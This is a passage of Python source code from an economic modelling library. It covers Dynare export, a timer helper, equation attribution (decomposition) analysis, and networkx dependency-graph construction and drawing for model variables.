todynare(self,paravars=[],paravalues=[]):\r\n ''' This is a function which converts a Modelflow model instance to Dynare .mod format\r\n ''' \r\n def totext(t):\r\n if t.op:\r\n return ';\\n' if ( t.op == '$' ) else t.op.lower()\r\n elif t.number:\r\n return t.number\r\n elif t.var:\r\n return t.var+(('('+t.lag+')') if t.lag else '') \r\n \r\n content = ('// Dropped '+v +'\\n' if self.allvar[v]['dropfrml']\r\n else ''.join( (totext(t) for t in self.allvar[v]['terms'])) \r\n for v in self.solveorder )\r\n\r\n paraout = ('parameters \\n ' + '\\n '.join(v for v in sorted(paravars)) + ';\\n\\n' + \r\n ';\\n'.join(v for v in paravalues)+';\\n')\r\n# print(paraout)\r\n out = ( '\\n'.join(['@#define '+k+' = [' + ' , '.join\r\n (['\"'+d+'\"' for d in kdic])+']' for l,dic in self.lister.items() for k,kdic in dic.items()]) + '\\n' +\r\n 'var \\n ' + '\\n '.join((v for v in sorted(self.endogene)))+';\\n'+\r\n 'varexo \\n ' + '\\n '.join(sorted(self.exogene-set(paravars))) + ';\\n'+ \r\n paraout + \r\n 'model; \\n ' + ' '.join(content).replace('**','^') + ' \\n end; \\n' )\r\n \r\n return out\r\n \r\nclass Model_help_Mixin():\r\n ''' Helpers to model'''\r\n \r\n @staticmethod\r\n @contextmanager\r\n def timer(input='test',show=True,short=True):\r\n '''\r\n A timer context manager, implemented using a\r\n generator function. This one will report time even if an exception occurs\"\"\" \r\n \r\n Parameters\r\n ----------\r\n input : string, optional\r\n a name. The default is 'test'.\r\n show : bool, optional\r\n show the results. The default is True.\r\n short : bool, optional\r\n . The default is False.\r\n \r\n Returns\r\n -------\r\n None.\r\n \r\n '''\r\n \r\n start = time.time()\r\n if show and not short: print(f'{input} started at : {time.strftime(\"%H:%M:%S\"):>{15}} ')\r\n try:\r\n yield\r\n finally:\r\n if show: \r\n end = time.time()\r\n seconds = (end - start)\r\n minutes = seconds/60. \r\n if minutes < 2.:\r\n afterdec=1 if seconds >= 10 else (3 if seconds >= 1.01 else 10)\r\n width = (10 + afterdec)\r\n print(f'{input} took : {seconds:>{width},.{afterdec}f} Seconds')\r\n else:\r\n afterdec= 1 if minutes >= 10 else 4\r\n width = (10 + afterdec)\r\n print(f'{input} took : {minutes:>{width},.{afterdec}f} Minutes')\r\n\r\n @staticmethod\r\n def update_from_list(indf,basis):\r\n df = indf.copy(deep=True)\r\n for l in basis.split('\\n'):\r\n if len(l.strip()) == 0: continue\r\n #print(f'line:{l}:')\r\n var,op,value,*arg = l.split()\r\n if len(arg)==0:\r\n arg = df.index[0],df.index[-1]\r\n else:\r\n arg = type(df.index[0])(arg[0]),type(df.index[0])(arg[1])\r\n # print(var,op,value,arg,sep='|')\r\n update_var(df,var,op,value,*arg,create=True,lprint=0) \r\n return df\r\n \r\n \r\n\r\nclass Dekomp_Mixin():\r\n '''This class defines methods and properties related to equation attribution analyses (dekomp)\r\n '''\r\n def dekomp(self, varnavn, start='', end='',basedf=None,altdf=None,lprint=True):\r\n '''Print all variables that determines input variable (varnavn)\r\n optional -- enter period and databank to get var values for chosen period'''\r\n \r\n basedf_ = basedf if isinstance( basedf,pd.DataFrame) else self.basedf\r\n altdf_ = altdf if isinstance( altdf,pd.DataFrame) else self.lastdf \r\n start_ = start if start != '' else self.current_per[0]\r\n end_ = end if end != '' else self.current_per[-1]\r\n \r\n \r\n mfrml = model(self.allvar[varnavn]['frml'],funks=self.funks) # calculate the formular \r\n print_per = mfrml.smpl(start_, end_ ,altdf_)\r\n vars = mfrml.allvar.keys()\r\n varterms = [(term.var, int(term.lag) if term.lag else 0)\r\n for term in mfrml.allvar[varnavn]['terms'] if term.var and not (term.var ==varnavn and term.lag == '')]\r\n sterms = sorted(set(varterms), key=lambda x: varterms.index(x)) # now we have droped dublicate terms and sorted \r\n eksperiments = [(vt,t) for vt in sterms for t in print_per] # find all the eksperiments to be performed \r\n smallalt = altdf_.loc[:,vars].copy(deep=True) # for speed \r\n smallbase = basedf_.loc[:,vars].copy(deep=True) # for speed \r\n alldf = {e: smallalt.copy() for e in eksperiments} # make a dataframe for each experiment\r\n for e in eksperiments:\r\n (var_,lag_),per_ = e \r\n set_a_value(alldf[e],per_,var_,lag_,get_a_value(smallbase,per_,var_,lag_))\r\n# alldf[e].loc[e[1]+e[0][1],e[0][0]] = smallbase.loc[e[1]+e[0][1],e[0][0]] # update the variable in each eksperiment\r\n \r\n difdf = {e: smallalt - alldf[e] for e in eksperiments } # to inspect the updates \r\n #allres = {e : mfrml.xgenr(alldf[e],str(e[1]),str(e[1]),silent= True ) for e in eksperiments} # now evaluate each experiment\r\n allres = {e : mfrml.xgenr(alldf[e],e[1],e[1],silent= True ) for e in eksperiments} # now evaluate each experiment\r\n diffres = {e: smallalt - allres[e] for e in eksperiments } # dataframes with the effect of each update \r\n res = {e : diffres[e].loc[e[1],varnavn] for e in eksperiments} # we are only interested in the efect on the left hand variable \r\n # the resulting dataframe \r\n multi = pd.MultiIndex.from_tuples([e[0] for e in eksperiments],names=['Variable','lag']).drop_duplicates() \r\n resdf = pd.DataFrame(index=multi,columns=print_per)\r\n for e in eksperiments: \r\n resdf.at[e[0],e[1]] = res[e] \r\n \r\n # a dataframe with some summaries \r\n res2df = pd.DataFrame(index=multi,columns=print_per)\r\n res2df.loc[('Base','0'),print_per] = smallbase.loc[print_per,varnavn]\r\n res2df.loc[('Alternative','0'),print_per] = smallalt.loc[print_per,varnavn] \r\n res2df.loc[('Difference','0'),print_per] = difendo = smallalt.loc[print_per,varnavn]- smallbase.loc[print_per,varnavn]\r\n res2df.loc[('Percent ','0'),print_per] = 100*(smallalt.loc[print_per,varnavn]/ (0.0000001+smallbase.loc[print_per,varnavn])-1)\r\n res2df=res2df.dropna()\r\n # \r\n pctendo = (resdf / (0.000000001+difendo[print_per]) *100).sort_values(print_per[-1],ascending = False) # each contrinution in pct of total change \r\n residual = pctendo.sum() - 100 \r\n pctendo.at[('Total',0),print_per] = pctendo.sum() \r\n pctendo.at[('Residual',0),print_per] = residual\r\n if lprint: \r\n print( 'Formula :',mfrml.allvar[varnavn]['frml'],'\\n')\r\n print(res2df.to_string (float_format=lambda x:'{0:10.6f}'.format(x) )) \r\n print('\\n Contributions to differende for ',varnavn)\r\n print(resdf.to_string (float_format=lambda x:'{0:10.6f}'.format(x) ))\r\n print('\\n Share of contributions to differende for ',varnavn)\r\n print(pctendo.to_string(float_format=lambda x:'{0:10.0f}%'.format(x) ))\r\n \r\n pctendo=pctendo[pctendo.columns].astype(float) \r\n return res2df,resdf,pctendo\r\n\r\n def impact(self,var,ldekomp=False,leq=False,adverse=None,base=None,maxlevel=3,start='',end=''):\r\n for v in self.treewalk(self.endograph,var.upper(),parent='start',lpre=True,maxlevel=maxlevel):\r\n if v.lev <= maxlevel:\r\n if leq:\r\n print('---'*v.lev+self.allvar[v.child]['frml'])\r\n self.print_eq(v.child.upper(),data=self.lastdf,start='2015Q4',slut='2018Q2')\r\n else:\r\n print('---'*v.lev+v.child) \r\n if ldekomp :\r\n x=self.dekomp(v.child,lprint=1,start=start,end=end)\r\n\r\n\r\n \r\n def dekomp_plot_per(self,varnavn,sort=False,pct=True,per='',threshold= 0.0):\r\n \r\n thisper = self.current_per[-1] if per == '' else per\r\n xx = self.dekomp(varnavn.upper(),lprint=False)\r\n ddf = join_name_lag(xx[2] if pct else xx[1])\r\n# tempdf = pd.DataFrame(0,columns=ddf.columns,index=['Start']).append(ddf)\r\n tempdf = ddf\r\n per_loc = tempdf.columns.get_loc(per)\r\n nthreshold = '' if threshold == 0.0 else f', threshold = {threshold}'\r\n ntitle=f'Equation attribution, pct{nthreshold}:{per}' if pct else f'Formula attribution {nthreshold}:{per}'\r\n plotdf = tempdf.loc[[c for c in tempdf.index.tolist() if c.strip() != 'Total']\r\n ,:].iloc[:,[per_loc]]\r\n plotdf.columns = [varnavn.upper()]\r\n# waterdf = self.cutout(plotdf,threshold)\r\n waterdf = plotdf\r\n res = mv.waterplot(waterdf,autosum=1,allsort=sort,top=0.86,\r\n sort=sort,title=ntitle,bartype='bar',threshold=threshold);\r\n return res\r\n \r\n \r\n def get_att_pct(self,n,filter = True,lag=True,start='',end=''):\r\n ''' det attribution pct for a variable.\r\n I little effort to change from multiindex to single node name''' \r\n res = self.dekomp(n,lprint=0,start=start,end=end)\r\n res_pct = res[2].iloc[:-2,:]\r\n if lag:\r\n out_pct = pd.DataFrame(res_pct.values,columns=res_pct.columns,\r\n index=[r[0]+(f'({str(r[1])})' if r[1] else '') for r in res_pct.index])\r\n else:\r\n out_pct = res_pct.groupby(level=[0]).sum()\r\n out = out_pct.loc[(out_pct != 0.0).any(axis=1),:] if filter else out_pct\r\n return out\r\n \r\n\r\n \r\n def dekomp_plot(self,varnavn,sort=True,pct=True,per='',top=0.9,threshold=0.0):\r\n xx = self.dekomp(varnavn,lprint=False)\r\n ddf0 = join_name_lag(xx[2] if pct else xx[1]).pipe(\r\n lambda df: df.loc[[i for i in df.index if i !='Total'],:])\r\n ddf = cutout(ddf0,threshold )\r\n fig, axis = plt.subplots(nrows=1,ncols=1,figsize=(10,5),constrained_layout=False)\r\n ax = axis\r\n ddf.T.plot(ax=ax,stacked=True,kind='bar')\r\n ax.set_ylabel(varnavn,fontsize='x-large')\r\n ax.set_xticklabels(ddf.T.index.tolist(), rotation = 45,fontsize='x-large')\r\n nthreshold = f'' if threshold == 0.0 else f', threshold = {threshold}'\r\n\r\n ntitle = f'Equation attribution{nthreshold}' if threshold == 0.0 else f'Equation attribution {nthreshold}'\r\n fig.suptitle(ntitle,fontsize=20)\r\n fig.subplots_adjust(top=top)\r\n \r\n return fig \r\n\r\n def get_dekom_gui(self,var=''):\r\n \r\n def show_dekom(Variable, Pct , Periode , Threshold = 0.0):\r\n print(self.allvar[Variable]['frml'].replace(' ',' '))\r\n self.dekomp_plot(Variable,pct=Pct,threshold=Threshold)\r\n self.dekomp_plot_per(Variable,pct=Pct,threshold=Threshold,per=Periode,sort=True)\r\n \r\n xvar = var.upper() if var.upper() in self.endogene else sorted(list(self.endogene))[0] \r\n \r\n show = ip.interactive(show_dekom,\r\n Variable = ip.Dropdown(options = sorted(self.endogene),value=xvar),\r\n Pct = ip.Checkbox(description='Percent growth',value=False),\r\n Periode = ip.Dropdown(options = self.current_per),\r\n Threshold = (0.0,10.0,1.))\r\n return show\r\n\r\n def totexplain(self,pat='*',vtype='all',stacked=True,kind='bar',per='',top=0.9,title=''\r\n ,use='level',threshold=0.0):\r\n if not hasattr(self,'totdekomp'):\r\n from modeldekom import totdif\r\n self.totdekomp = totdif(self,summaryvar='*',desdic={})\r\n \r\n fig = self.totdekomp.totexplain(pat=pat,vtype=vtype,stacked=stacked,kind=kind,\r\n per = per ,top=top,title=title,use=use,threshold=threshold)\r\n return fig\r\n \r\n \r\n def get_att_gui(self,var='FY',spat = '*',desdic={},use='level'):\r\n '''Creates a jupyter ipywidget to display model level \r\n attributions ''' \r\n if not hasattr(self,'totdekomp'):\r\n from modeldekom import totdif\r\n self.totdekomp = totdif(model=self,summaryvar=spat,desdic=desdic)\r\n print('TOTDEKOMP made')\r\n if self.totdekomp.go:\r\n xvar = var if var in self.endogene else sorted(list(self.endogene))[0]\r\n xx =mj.get_att_gui( self.totdekomp,var=xvar,spat = spat,desdic=desdic,use=use)\r\n display(xx)\r\n else:\r\n del self.totdekomp \r\n return 'Nothing to attribute'\r\n \r\n \r\n \r\nclass Graph_Mixin():\r\n '''This class defines graph related methods and properties\r\n '''\r\n \r\n @staticmethod\r\n def create_strong_network(g,name='Network',typeout=False,show=False):\r\n ''' create a solveorder and blockordering of af graph \r\n uses networkx to find the core of the model\r\n ''' \r\n strong_condensed = nx.condensation(g)\r\n strong_topo = list(nx.topological_sort(strong_condensed))\r\n solveorder = [v for s in strong_topo for v in strong_condensed.nodes[s]['members']]\r\n if typeout: \r\n block = [[v for v in strong_condensed.nodes[s]['members']] for s in strong_topo]\r\n type = [('Simultaneous'+str(i) if len(l) !=1 else 'Recursiv ',l) for i,l in enumerate(block)] # count the simultaneous blocks so they do not get lumped together \r\n # we want to lump recursive equations in sequense together \r\n strongblock = [[i for l in list(item) for i in l[1] ] for key,item in groupby(type,lambda x: x[0])]\r\n strongtype = [list(item)[0][0][:-1] for key,item in groupby(type,lambda x: x[0])]\r\n if show:\r\n print('Blockstructure of:',name)\r\n print(*Counter(strongtype).most_common())\r\n for i,(type,block) in enumerate(zip(strongtype,strongblock)):\r\n print('{} {:<15} '.format(i,type),block)\r\n return solveorder,strongblock,strongtype \r\n else: \r\n return solveorder \r\n \r\n \r\n \r\n @property \r\n def strongorder(self):\r\n if not hasattr(self,'_strongorder'):\r\n self._strongorder = self.create_strong_network(self.endograph)\r\n return self._strongorder\r\n \r\n @property \r\n def strongblock(self):\r\n if not hasattr(self,'_strongblock'):\r\n xx,self._strongblock,self._strongtype = self.create_strong_network(self.endograph,typeout=True)\r\n return self._strongblock\r\n \r\n @property \r\n def strongtype(self):\r\n if not hasattr(self,'_strongtype'):\r\n xx,self._strongblock,self._strongtype = self.create_strong_network(self.endograph,typeout=True)\r\n return self._strongtype\r\n\r\n @property \r\n def strongfrml(self):\r\n ''' To search simultaneity (circularity) in a model \r\n this function returns the equations in each strong block\r\n \r\n '''\r\n simul = [block for block,type in zip(self.strongblock,self.strongtype) if type.startswith('Simultaneous') ]\r\n out = '\\n\\n'.join(['\\n'.join([self.allvar[v]['frml'] for v in block]) for block in simul])\r\n return 'Equations with feedback in this model:\\n'+out\r\n \r\n def superblock(self):\r\n \"\"\" finds prolog, core and epilog variables \"\"\"\r\n\r\n if not hasattr(self,'_prevar'):\r\n self._prevar = []\r\n self._epivar = []\r\n this = self.endograph.copy()\r\n \r\n while True:\r\n new = [v for v,indegree in this.in_degree() if indegree==0]\r\n if len(new) == 0:\r\n break\r\n self._prevar = self._prevar+new\r\n this.remove_nodes_from(new)\r\n \r\n while True:\r\n new = [v for v,outdegree in this.out_degree() if outdegree==0]\r\n if len(new) == 0:\r\n break\r\n self._epivar = new + self._epivar\r\n this.remove_nodes_from(new)\r\n \r\n episet = set(self._epivar)\r\n preset = set(self._prevar)\r\n self.common_pre_epi_set = episet.intersection(preset)\r\n noncore = episet | preset \r\n self._coreorder = [v for v in self.nrorder if not v in noncore]\r\n\r\n xx,self._corestrongblock,self._corestrongtype = self.create_strong_network(this,typeout=True)\r\n self._superstrongblock = ([self._prevar] + \r\n (self._corestrongblock if len(self._corestrongblock) else [[]]) \r\n + [self._epivar])\r\n self._superstrongtype = ( ['Recursiv'] + \r\n (self._corestrongtype if len(self._corestrongtype) else [[]])\r\n + ['Recursiv'] )\r\n self._corevar = list(chain.from_iterable((v for v in self.nrorder if v in block) for block in self._corestrongblock)\r\n )\r\n \r\n\r\n \r\n @property \r\n def prevar(self):\r\n \"\"\" returns a set with names of endogenopus variables which do not depend \r\n on current endogenous variables \"\"\"\r\n\r\n if not hasattr(self,'_prevar'):\r\n self.superblock()\r\n return self._prevar\r\n \r\n @property \r\n def epivar(self):\r\n \"\"\" returns a set with names of endogenopus variables which do not influence \r\n current endogenous variables \"\"\"\r\n\r\n if not hasattr(self,'_epivar'):\r\n self.superblock()\r\n return self._epivar\r\n \r\n @property\r\n def preorder(self):\r\n ''' the endogenous variables which can be calculated in advance '''\r\n# return [v for v in self.nrorder if v in self.prevar]\r\n return self.prevar\r\n \r\n @property\r\n def epiorder(self):\r\n ''' the endogenous variables which can be calculated in advance '''\r\n return self.epivar\r\n \r\n @property\r\n def coreorder(self):\r\n ''' the solution order of the endogenous variables in the simultaneous core of the model '''\r\n if not hasattr(self,'_coreorder'): \r\n self.superblock()\r\n return self._corevar \r\n\r\n @property\r\n def coreset(self):\r\n '''The set of variables of the endogenous variables in the simultaneous core of the model '''\r\n if not hasattr(self,'_coreset'): \r\n self._coreset = set(self.coreorder)\r\n return self._coreset \r\n \r\n \r\n @property\r\n def precoreepiorder(self):\r\n return self.preorder+self.coreorder+self.epiorder \r\n\r\n @property \r\n def prune_endograph(self):\r\n if not hasattr(self,'_endograph'):\r\n _ = self.endograph\r\n self._endograph.remove_nodes_from(self.prevar)\r\n self._endograph.remove_nodes_from(self.epivar)\r\n return self._endograph \r\n\r\n @property\r\n def use_preorder(self):\r\n return self._use_preorder\r\n \r\n @use_preorder.setter\r\n def use_preorder(self,use_preorder):\r\n if use_preorder:\r\n if self.istopo or self.straight:\r\n pass\r\n # print(f\"You can't use preorder in this model, it is topological or straight\")\r\n # print(f\"We pretend you did not try to set the option\")\r\n self._use_preorder = False\r\n else:\r\n self._use_preorder = True\r\n self._oldsolveorder = self.solveorder[:]\r\n self.solveorder = self.precoreepiorder\r\n else:\r\n self._use_preorder = False\r\n if hasattr(self,'_oldsolveorder'):\r\n self.solveorder = self._oldsolveorder\r\n \r\n \r\n \r\n @property \r\n def totgraph_nolag(self):\r\n \r\n ''' The graph of all variables, lagged variables condensed'''\r\n if not hasattr(self,'_totgraph_nolag'):\r\n terms = ((var,inf['terms']) for var,inf in self.allvar.items() \r\n if inf['endo'])\r\n \r\n rhss = ((var,term[term.index(self.aequalterm):]) for var,term in terms )\r\n rhsvar = ((var,{v.var for v in rhs if v.var and v.var != var }) for var,rhs in rhss)\r\n \r\n # print(list(rhsvar))\r\n edges = (((v,e) for e,rhs in rhsvar for v in rhs))\r\n self._totgraph_nolag = nx.DiGraph(edges)\r\n return self._totgraph_nolag \r\n \r\n @property \r\n def totgraph(self):\r\n ''' Returns the total graph of the model, including leads and lags '''\r\n \r\n \r\n if not hasattr(self,'_totgraph'):\r\n self._totgraph =self.totgraph_get()\r\n \r\n return self._totgraph\r\n\r\n @property\r\n def endograph_nolag(self) :\r\n ''' Dependencygraph for all periode endogeneous variable, shows total dependencies '''\r\n if not hasattr(self,'_endograph_nolag'):\r\n terms = ((var,inf['terms']) for var,inf in self.allvar.items() if inf['endo'])\r\n \r\n rhss = ((var,term[self.allvar[var]['assigpos']:]) for var,term in terms )\r\n rhsvar = ((var,{v.var for v in rhs if v.var and v.var in self.endogene and v.var != var}) for var,rhs in rhss)\r\n \r\n edges = ((v,e) for e,rhs in rhsvar for v in rhs)\r\n# print(edges)\r\n self._endograph_nolag=nx.DiGraph(edges)\r\n self._endograph_nolag.add_nodes_from(self.endogene)\r\n return self._endograph_nolag \r\n\r\n \r\n @property\r\n def endograph_lag_lead(self):\r\n ''' Returns the graph of all endogeneous variables including lags and leads'''\r\n \r\n if not hasattr(self,'_endograph_lag_lead'):\r\n self._endograph_lag_lead =self.totgraph_get(onlyendo=True)\r\n \r\n return self._endograph_lag_lead\r\n \r\n def totgraph_get(self,onlyendo=False):\r\n ''' The graph of all variables including and seperate lagged and leaded variable \r\n \r\n onlyendo : only endogenous variables are part of the graph \r\n \r\n '''\r\n\r\n def lagvar(xlag):\r\n ''' makes a string with lag ''' \r\n return '('+str(xlag)+')' if int(xlag) < 0 else '' \r\n \r\n def lagleadvar(xlag):\r\n ''' makes a string with lag or lead ''' \r\n return f'({int(xlag):+})' if int(xlag) != 0 else '' \r\n \r\n terms = ((var,inf['terms']) for var,inf in self.allvar.items() \r\n if inf['endo'])\r\n \r\n rhss = ((var,term[term.index(self.aequalterm):]) for var,term in terms )\r\n if onlyendo:\r\n rhsvar = ((var,{(v.var+'('+v.lag+')' if v.lag else v.var) for v in rhs if v.var if v.var in self.endogene}) for var,rhs in rhss)\r\n edgeslag = [(v+lagleadvar(lag+1),v+lagleadvar(lag)) for v,inf in self.allvar.items() for lag in range(inf['maxlag'],0) if v in self.endogene]\r\n edgeslead = [(v+lagleadvar(lead-1),v+lagleadvar(lead)) for v,inf in self.allvar.items() for lead in range(inf['maxlead'],0,-1) if v in self.endogene]\r\n else:\r\n rhsvar = ((var,{(v.var+'('+v.lag+')' if v.lag else v.var) for v in rhs if v.var}) for var,rhs in rhss)\r\n edgeslag = [(v+lagleadvar(lag+1),v+lagleadvar(lag)) for v,inf in self.allvar.items() for lag in range(inf['maxlag'],0)]\r\n edgeslead = [(v+lagleadvar(lead-1),v+lagleadvar(lead)) for v,inf in self.allvar.items() for lead in range(inf['maxlead'],0,-1)]\r\n \r\n # print(list(rhsvar))\r\n edges = (((v,e) for e,rhs in rhsvar for v in rhs))\r\n # edgeslag = [(v,v+lagvar(lag)) for v,inf in m2test.allvar.items() for lag in range(inf['maxlag'],0)]\r\n totgraph = nx.DiGraph(chain(edges,edgeslag,edgeslead))\r\n\r\n return totgraph \r\n\r\n\r\n def graph_remove(self,paralist):\r\n ''' Removes a list of variables from the totgraph and totgraph_nolag \r\n mostly used to remove parmeters from the graph, makes it less crowded'''\r\n \r\n if not hasattr(self,'_totgraph') or not hasattr(self,'_totgraph_nolag'):\r\n _ = self.totgraph\r\n _ = self.totgraph_nolag\r\n \r\n self._totgraph.remove_nodes_from(paralist)\r\n self._totgraph_nolag.remove_edges_from(paralist) \r\n return \r\n\r\n def graph_restore(self):\r\n ''' If nodes has been removed by the graph_remove, calling this function will restore them '''\r\n if hasattr(self,'_totgraph') or hasattr(self,'_totgraph_nolag'):\r\n delattr(self,'_totgraph')\r\n delattr(self,'_totgrapH_nolag') \r\n return \r\nclass Graph_Draw_Mixin():\r\n \"\"\"This class defines methods and properties which draws and vizualize using different\r\n graphs of the model\r\n \"\"\"\r\n def treewalk(self,g,navn, level = 0,parent='Start',maxlevel=20,lpre=True):\r\n ''' Traverse the call tree from name, and returns a generator \\n\r\n to get a list just write: list(treewalk(...)) \r\n maxlevel determins the number of generations to back up \r\n \r\n lpre=0 we walk the dependent\r\n lpre=1 we walk the precednc nodes \r\n '''\r\n if level <=maxlevel:\r\n if parent != 'Start':\r\n yield node(level , parent, navn) # return level=0 in order to prune dublicates \r\n for child in (g.predecessors(navn) if lpre else g[navn]):\r\n yield from self.treewalk(g,child, level + 1,navn, maxlevel,lpre)\r\n\r\n \r\n \r\n \r\n def drawendo(self,**kwargs):\r\n '''draws a graph of of the whole model''' \r\n alllinks = (node(0,n[1],n[0]) for n in self.endograph.edges())\r\n return self.todot2(alllinks,**kwargs)\r\n \r\n \r\n def drawendo_lag_lead(self,**kwargs):\r\n '''draws a graph of of the whole model''' \r\n alllinks = (node(0,n[1],n[0]) for n in self.endograph_lag_lead.edges())\r\n return self.todot2(alllinks,**kwargs) \r\n\r\n def drawmodel(self,lag=True,**kwargs):\r\n '''draws a graph of of the whole model''' \r\n graph = self.totgraph if lag else self.totgraph_nolag\r\n alllinks = (node(0,n[1],n[0]) for n in graph.edges())\r\n return self.todot2(alllinks,**kwargs) \r\n \r\n def plotadjacency(self,size=(5,5),title='Structure',nolag=False):\r\n if nolag: \r\n G = self.endograph_nolag\r\n order,blocks,blocktype = self.create_strong_network(G,typeout=True)\r\n fig = draw_adjacency_matrix(G,order,blocks,blocktype,size=size,title=title)\r\n else:\r\n fig = draw_adjacency_matrix(self.endograph,self.precoreepiorder,\r\n self._superstrongblock,self._superstrongtype,size=size,title=title)\r\n return fig \r\n \r\n def draw(self,navn,down=7,up=7,lag=True,endo=False,**kwargs):\r\n '''draws a graph of dependensies of navn up to maxlevel\r\n \r\n :lag: show the complete graph including lagged variables else only variables. \r\n :endo: Show only the graph for current endogenous variables \r\n :down: level downstream\r\n :up: level upstream \r\n \r\n \r\n '''\r\n graph = self.totgraph if lag else self.totgraph_nolag\r\n graph = self.endograph if endo else graph \r\n uplinks = self.treewalk(graph,navn.upper(),maxlevel=up,lpre=True) \r\n downlinks = (node(level , navn, parent ) for level,parent,navn in \r\n self.treewalk(graph,navn.upper(),maxlevel=down,lpre=False))\r\n alllinks = chain(uplinks,downlinks)\r\n return self.todot2(alllinks,navn=navn.upper(),down=down,up=up,**kwargs) \r\n \r\n \r\n def trans(self,ind,root,transdic=None,debug=False):\r\n ''' as there are many variable starting with SHOCK, the can renamed to save nodes'''\r\n if debug: print('>',ind)\r\n ud = ind\r\n if ind == root or transdic is None:\r\n pass \r\n else: \r\n for pat,to in transdic.items():\r\n if debug: print('trans ',pat,ind)\r\n if bool(re.match(pat.upper(),ind)):\r\n if debug: print(f'trans match {ind} with {pat}')\r\n return to.upper()\r\n if debug: print('trans',ind,ud) \r\n return ud \r\n \r\n def color(self,v,navn=''):\r\n if navn == v:\r\n out = 'Turquoise'\r\n return out \r\n if v in self.endogene: \r\n out = 'steelblue1' \r\n elif v in self.exogene: \r\n out = 'yellow' \r\n elif '(' in v:\r\n namepart=v.split('(')[0]\r\n out = 'springgreen' if namepart in self.endogene else 'olivedrab1'\r\n else:\r\n out='red'\r\n return out\r\n\r\n def upwalk(self,g,navn, level = 0,parent='Start',up=20,select=False,lpre=True):\r\n ''' Traverse the call tree from name, and returns a generator \\n\r\n to get a list just write: list(upwalk(...)) \r\n up determins the number of generations to back up \r\n \r\n '''\r\n if select: \r\n if level <=up:\r\n if parent != 'Start':\r\n if ( g[navn][parent]['att'] != 0.0).any(axis=1).any() :\r\n yield node(level , parent, navn) # return level=0 in order to prune dublicates \r\n for child in (g.predecessors(navn) if lpre else g[navn]) :\r\n try:\r\n if ( g[child][navn]['att'] != 0.0).any(axis=1).any() :\r\n yield from self.upwalk(g,child, level + 1,navn, up,select)\r\n except:\r\n pass\r\n else:\r\n if level <=up:\r\n if parent != 'Start':\r\n yield node(level , parent, navn) # return level=0 in order to prune dublicates \r\n for child in (g.predecessors(navn) if lpre else g[navn]):\r\n yield from self.upwalk(g,child, level + 1,navn, up,select,lpre)\r\n\r\n\r\n def explain(self,var,up=1,start='',end='',select=False,showatt=True,lag=True,debug=0,**kwargs):\r\n ''' Walks a tree to explain the difference between basedf and lastdf\r\n \r\n Parameters:\r\n :var: the variable we are looking at\r\n :up: how far up the tree will we climb\r\n :select: Only show the nodes which contributes \r\n :showatt: Show the explanation in pct \r\n :lag: If true, show all lags, else aggregate lags for each variable. \r\n :HR: if true make horisontal graph\r\n :title: Title \r\n :saveas: Filename \r\n :pdf: open the pdf file\r\n :svg: display the svg file\r\n :browser: if true open the svg file in browser \r\n \r\n \r\n ''' \r\n if up > 0:\r\n with self.timer('Get totgraph',debug) as t: \r\n startgraph = self.totgraph # if lag else self.totgraph_nolag\r\n edgelist = list({v for v in self.upwalk(startgraph ,var.upper(),up=up)})\r\n nodelist = list({v.child for v in edgelist})+[var] # remember the starting node \r\n nodestodekomp = list({n.split('(')[0] for n in nodelist if n.split('(')[0] in self.endogene})\r\n # print(nodelist)\r\n # print(nodestodekomp)\r\n with self.timer('Dekomp',debug) as t: \r\n pctdic2 = {n : self.get_att_pct(n,lag=lag,start=start,end=end) for n in nodestodekomp }\r\n edges = {(r,n):{'att':df.loc[[r],:]} for n,df in pctdic2.items() for r in df.index}\r\n self.localgraph = nx.DiGraph()\r\n self.localgraph.add_edges_from([(v.child,v.parent) for v in edgelist])\r\n nx.set_edge_attributes(self.localgraph,edges)\r\n self.newgraph = nx.DiGraph()\r\n for v in self.upwalk(self.localgraph,var.upper(),up=up,select=select):\r\n # print(f'{\"-\"*v.lev} {v.child} {v.parent} \\n',self.localgraph[v.child][v.parent].get('att','**'))\r\n # print(f'{\"-\"*v.lev} {v.child} {v.parent} \\n')\r\n self.newgraph.add_edge(v.child,v.parent,att=self.localgraph[v.child][v.parent].get('att',None))\r\n nodeatt = {n:{'att': i} for n,i in pctdic2.items()} \r\n nx.set_node_attributes(self.newgraph,nodeatt)\r\n nodevalues = {n:{'values':self.get_values(n)} for n in self.newgraph.nodes}\r\n nx.set_node_attributes(self.newgraph,nodevalues)\r\n else: \r\n self.newgraph = nx.DiGraph([(var,var)])\r\n nx.set_node_attributes(self.newgraph,{var:{'values':self.get_values(var)}})\r\n nx.set_node_attributes(self.newgraph,{var:{'att':self.get_att_pct(var,lag=lag,start=start,end=end)}})\r\n self.gdraw(self.newgraph,navn=var,showatt=showatt,**kwargs)\r\n return self.newgraph\r\n\r\n\r\n\r\n \r\n def todot(self,g,navn='',browser=False,**kwargs):\r\n ''' makes a drawing of subtree originating from navn\r\n all is the edges\r\n attributex can be shown\r\n \r\n :sink: variale to use as sink \r\n :svg: Display the svg image \r\n''' \r\n size=kwargs.get('size',(6,6))\r\n \r\n alledges = (node(0,n[1],n[0]) for n in g.edges())\r\n\r\n if 'transdic' in kwargs:\r\n alllinks = (node(x.lev,self.trans(x.parent,navn,kwargs['transdic']),self.trans(x.child,navn,kwargs['transdic'])) for x in alledges)\r\n elif hasattr(self, 'transdic'):\r\n alllinks = (node(x.lev,self.trans(x.parent,navn,self.transdic),self.trans(x.child,navn,self.transdic)) for x in alledges)\r\n else:\r\n alllinks = alledges \r\n \r\n \r\n ibh = {node(0,x.parent,x.child) for x in alllinks} # To weed out multible links \r\n \r\n if kwargs.get('showatt',False):\r\n att_dic = nx.get_node_attributes(g,'att')\r\n values_dic = nx.get_node_attributes(g,'values')\r\n showatt=True\r\n else:\r\n showatt=False\r\n #\r\n dec = kwargs.get('dec',0)\r\n nodelist = {n for nodes in ibh for n in (nodes.parent,nodes.child)}\r\n \r\n def dftotable(df,dec=0):\r\n xx = '\\n'.join([f\"{row[0]}\"+\r\n ''.join([ \"\"+(f'{b:{25},.{dec}f}'.strip()+'').strip() \r\n for b in row[1:]])+'' for row in df.itertuples()])\r\n return xx \r\n def makenode(v):\r\n# tip= f'{pt.split_frml(self.allvar[v][\"frml\"])[3][:-1]}' if v in self.endogene else f'{v}' \r\n tip = v \r\n if showatt:\r\n dfval = values_dic[v]\r\n dflen = len(dfval.columns)\r\n lper = \"Per\"+''.join([ ''+(f'{p}'.strip()+'').strip() for p in dfval.columns])+''\r\n hval = f\"{tip}\" \r\n lval = dftotable(dfval,dec)\r\n try: \r\n latt = f\" % Explained by{dftotable(att_dic[v],dec)}\" if len(att_dic[v]) else ''\r\n except: \r\n latt = ''\r\n 